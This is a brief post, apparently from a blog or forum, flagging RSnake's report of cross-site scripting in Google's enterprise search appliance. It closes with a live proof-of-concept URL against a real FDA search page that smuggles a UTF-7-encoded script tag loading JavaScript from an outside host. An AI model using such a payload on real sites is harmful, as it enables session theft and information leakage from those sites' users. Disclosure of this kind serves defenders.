Rsnake is giving some good insight!! Major issues with google enterprise search... "your whole domain is at risk of information leakage, session theft, etc…"

http://ha.ckers.org/blog/20061118/widespread-xss-for-google-search-appliance/

check this out ..

http://google2.fda.gov/search?oe=UTF-7&lr=&client=FDA&output=xml_no_dtd&proxystylesheet=FDA&getfields=*&q=%2BADw-script%20src%2BAD0AIg-http%3A//ha.ckers.org/s.js%2BACIAPgA8-/script%2BAD4-x